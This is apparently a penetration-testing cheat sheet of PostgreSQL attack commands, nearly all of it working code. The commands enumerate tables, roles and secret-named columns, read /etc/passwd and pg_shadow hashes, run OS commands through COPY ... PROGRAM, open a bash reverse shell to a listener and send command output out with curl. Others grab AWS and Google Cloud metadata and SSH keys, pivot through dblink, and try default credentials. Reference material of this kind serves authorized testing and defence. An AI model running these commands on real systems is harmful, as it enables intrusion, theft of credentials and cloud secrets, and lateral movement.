<postgresql>
Enumerating, priviliging and pivoting through PostgreSQL databases during a penetration test.
$ List all tables
Enumerate every schema and table visible to the current role.
SELECT table_schema,table_name
FROM information_schema.tables
ORDER BY table_schema,table_name;
$ LFI example — read local files
If the database user has sufficient rights, files on the database server can be read into a table.
CREATE TABLE myfile (input TEXT);
COPY myfile FROM '/etc/passwd';
SELECT input FROM myfile;
$ Display PostgreSQL users
Password hashes for all roles live in pg_shadow and are readable by superusers only.
SELECT usename, passwd FROM pg_shadow;
$ Show current user
select current_user;
$ Reverse shell via COPY TO PROGRAM
Only superusers (or members of pg_execute_server_program on PostgreSQL 11+) may run arbitrary OS commands with COPY ... FROM PROGRAM. Replace IP with your listener address.
CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'bash -i >& /dev/tcp/IP/4444 0>&1';
SELECT weather_json FROM weather_json;
$ Grab AWS metadata
CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://169.254.169.254/latest/meta-data/';
SELECT weather_json FROM weather_json;
$ Grab Google Cloud metadata
CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://metadata.google.internal/computeMetadata/v/project/attributes/ssh-keys?alt=json -H "Metadata-Flavor: Google"';
SELECT weather_json FROM weather_json;
$ Dump environment variables
CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'printenv';
SELECT weather_json FROM weather_json;
$ Read files with pg_read_file
Superusers and members of pg_read_server_files can read arbitrary server files directly, no staging table required.
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/var/lib/postgresql/data/postgresql.conf');
SELECT pg_ls_dir('/var/lib/postgresql/data');
$ Command execution without COPY
pg_read_file-style built-ins aside, COPY ... TO PROGRAM also executes commands, and output can be written to your listener instead of a table:
COPY (SELECT '') TO PROGRAM 'id | curl -X POST --data-binary @- http://IP:8000';
$ Abuse dblink and extensions
If dblink is installed, you can query other databases and hosts as the current user — useful for lateral movement and pivoting to internal database servers.
CREATE EXTENSION IF NOT EXISTS dblink;
SELECT * FROM dblink('host=10.0.0.5 dbname=postgres user=postgres password=postgres', 'SELECT version()') AS t(version TEXT);
-- loop through all databases on the local instance
SELECT datname FROM pg_database;
$ Search column names across tables
Find where interesting data (passwords, tokens, cards) is stored without dumping every table.
SELECT table_schema, table_name, column_name
FROM information_schema.columns
WHERE column_name ILIKE '%pass%'
OR column_name ILIKE '%token%'
OR column_name ILIKE '%secret%'
OR column_name ILIKE '%key%'
ORDER BY table_schema, table_name;
$ Connecting with psql one-liners
Quick connection strings for follow-up work; the same URL format works for most drivers.
psql -h IP -U postgres -d postgres -W
psql "postgresql://postgres:postgres@IP:5432/postgres"
# run a single query non-interactively
psql "postgresql://postgres:postgres@IP:5432/postgres" -c "SELECT current_user;"
# copy a whole table out as CSV
psql "postgresql://postgres:postgres@IP:5432/dbname" -c "\copy users TO 'users.csv' CSV HEADER"
$ Common default credentials
Try these pairs first against open PostgreSQL services — many installs never change the defaults.
postgres : postgres
postgres : password
postgres : admin
postgres : 123456
root : postgres
admin : admin
# no password (trust authentication in pg_hba.conf)
postgres :
$ Check for a superuser and granted roles
Confirm whether the compromised role can reach the COPY ... PROGRAM primitives above.
SELECT rolname, rolsuper, rolcreaterole, rolcreatedb
FROM pg_roles
WHERE rolname = current_user;
SELECT r.rolname AS granted_role
FROM pg_authid a
JOIN pg_auth_members m ON a.oid = m.member
JOIN pg_authid r ON r.oid = m.roleid
WHERE a.rolname = current_user;